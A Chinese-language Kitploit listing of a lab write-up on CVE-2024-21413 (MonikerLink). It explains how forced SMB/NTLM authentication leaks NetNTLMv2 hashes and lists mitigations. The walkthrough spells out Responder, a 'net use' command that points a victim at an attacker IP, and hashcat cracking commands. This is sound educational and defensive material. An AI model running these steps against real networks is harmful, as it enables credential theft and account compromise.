Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
lab-SMB-responder-CVE-2024-21413 — 为漏洞 CVE-2024-214113(MONIKER LINK)创建的渗透测试实验室。 | Kitploit
工具/GitHubGitHub/sallocinavalcante/lab-smb-responder-cve-2024-21413
密码破解漏洞分析漏洞利用网络安全渗透测试学习与教育红队实验室与实践
GitHub

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享
sallocinavalcante/lab-smb-responder-cve-2024-21413

lab-SMB-responder-CVE-2024-21413

为漏洞 CVE-2024-214113(MONIKER LINK)创建的渗透测试实验室。

查看仓库
27个月前尚未审核

SMB + Responder 实验环境 (CVE-2024-21413)

🎯 目标

本项目旨在研究漏洞 CVE-2024-21413 (MonikerLink),探索 SMB/NTLM 协议如何被滥用于凭据窃取。
即使在微软官方修复之后,该实验环境表明,该概念在内部场景中仍然有效。


📖 Exploit 理论

该漏洞 (CVE-2024-21413) 被称为 MonikerLink,被评定为严重级别 (CVSS 9.8)。 它的产生原因是 Outlook 以不安全的方式处理 "file://" 链接,使用了过时的 COM API(Moniker 对象)。这些对象允许 Outlook 调用外部资源而无需经过受保护视图,从而诱导客户端自动发起 SMB 连接。

1. 什么是 Moniker Link?

它是 Windows 的一项功能,允许通过特殊链接引用 COM 对象。

2. Outlook 如何处理 file://

原始漏洞通过邮件发送的 "file://" 链接或 UNC 路径进行利用。

3. 如何通过 "!" 绕过

通过在链接中添加 "!" 字符,可以绕过 Outlook 的内部保护,强制直接打开外部资源。

4. NTLM 如何暴露

这会导致自动的 NTLM 身份验证,在用户几乎没有交互的情况下,将 NetNTLMv2 哈希暴露给攻击者。

5. 补丁修复了什么

补丁 KB5002519 专门阻止了 Outlook 中的此行为,阻止 "file://" 链接以这种方式被处理。

6. 补丁未修复什么

然而,Windows 的自动 NTLM 在 Outlook 上下文之外仍然有效。也就是说,任何在启用了 NTLM 且没有身份验证限制的环境中访问 SMB 资源的尝试,仍然可能导致自动发送哈希。


📌 Outlook、SMB/NTLM 和 Responder 之间的关系 原始漏洞:通过包含恶意链接的垃圾邮件 → Outlook 处理 → NTLM 自动验证 → 攻击者收到哈希。

内部实验环境:我们仅模拟概念部分 → 手动强制建立 SMB 连接 → Responder 捕获哈希 → Hashcat 进行破解。

为什么仍然有效?因为 NTLM 是一个传统协议,它会自动对 SMB 连接进行身份验证,与 Outlook 无关。补丁修复了 Outlook 客户端,但并未消除 Windows 中 NTLM 的行为


🏗️ 实验环境架构

  • 攻击者: 安装了 Responder 和 Hashcat 的 Kali Linux。
  • 受害者: 安装了 Outlook 的 Windows。
  • 网络: 模拟的局域网,无外部暴露。
  • 工具:
    • Responder → 用于协议污染和哈希捕获。
    • Hashcat → 用于离线破解捕获的哈希。

IP win
IP a Linux


🛡️ Outlook 补丁

在测试过程中,Outlook 阻止了来自邮件的 file:// 链接,并显示安全警告:

Outlook 警告

注意

2024 年 2 月发布的补丁 KB5002519 通过阻止 file:// 链接,缓解了通过邮件进行的外部攻击向量。
然而,NTLM 协议仍然允许在 SMB 连接中进行自动身份验证。
这意味着,尽管 Outlook 已针对此特定漏洞受到保护,但内部攻击面仍然有效。
问题的根源在于依赖 NTLM 作为身份验证机制,它在 SMB 连接中仍然容易受到哈希捕获的影响。


📊 风险指标

  • CVE: CVE-2024-21413
  • CVSS: 9.8(严重)
  • 影响: 远程代码执行 + 凭据泄露
  • 攻击向量: 外部(Outlook)和内部(SMB/NTLM)
  • 建议的缓解措施:
    • 应用补丁 KB5002519。
    • 尽可能禁用 NTLM。
    • 在 AD 环境中强制使用 Kerberos。
    • 实施多因素身份验证和强密码。

📚 经验教训

  1. Outlook 补丁仅阻止了外部链接的点击。
  2. SMB/NTLM 仍然是网络内的一个攻击面。
  3. NetNTLMv2 哈希可以被捕获并在离线状态下破解。
  4. 弱密码在常用字典中很容易被发现。
  5. 即使有官方修复,该漏洞在内部场景中仍然具有相关性。

📌 分步操作

  1. 启动 Responder 在这里,我们在 Kali 的网络接口上启动 Responder。它充当一个伪造的 SMB 服务器,随时准备响应受害者的请求并捕获 NTLM 凭据。 此步骤对于准备协议污染和拦截环境至关重要。 Kali Linux 上的命令:
root@kitploit:~
sudo responder -I eth0

激活的 Responder


  1. 强制 SMB 通信
    在 Windows 上,我们手动访问指向攻击者 IP 的 SMB 资源。 此访问强制 Windows 客户端通过 NTLM 自动尝试身份验证,从而将哈希发送到伪造的服务器 (Responder)。 正是在这一刻,凭据首次暴露。我们可以通过两种方式强制建立 SMB 通信:

    通过资源管理器,手动访问:

root@kitploit:~
\\<攻击者 IP>\test.

在资源管理器中强制 SMB

通过终端(cmd 或 PowerShell),使用命令:

root@kitploit:~
net use \\<攻击者 IP>\test

在终端中强制 SMB

  1. 捕获哈希
    Responder 拦截身份验证尝试并将 NTLMv2 哈希保存到 /usr/share/responder/logs/ 中的日志文件中。 该文件包含将用于破解的原始材料。 这里我们展示了漏洞:即使没有明文密码,哈希也可能被捕获并重用。
root@kitploit:~
/usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt

Responder 捕获的哈希


  1. 使用 Hashcat 进行破解
    在运行 Hashcat 之前,我们将日志中的哈希复制到我们主目录下的一个文件中 (~/hash.txt)。 这便于操作,并确保 Hashcat 可以直接访问内容。 然后,我们使用 5600 模式 (NetNTLMv2) 和 rockyou.txt 字典运行 Hashcat。 此过程尝试离线破解哈希,演示了弱密码如何被快速发现。 结果显示是否找到了密码,从而证明了该漏洞的真实风险。
root@kitploit:~
hashcat -m 5600 -a 0 ~/hash.txt /usr/share/wordlists/rockyou.txt

注意:
出于安全原因,不显示真实密码。目的是演示该过程和漏洞。

Hashcat 命令 破解结果

✅ 结论

本实验环境表明:

  • 通过 Outlook 的漏洞已被补丁阻止。
  • 尽管如此,仍然可以手动捕获和破解 SMB 哈希。
  • 该漏洞作为概念仍然有效,这强调了内部加固、强密码以及迁移到 Kerberos/基于令牌的身份验证的重要性。
下载工具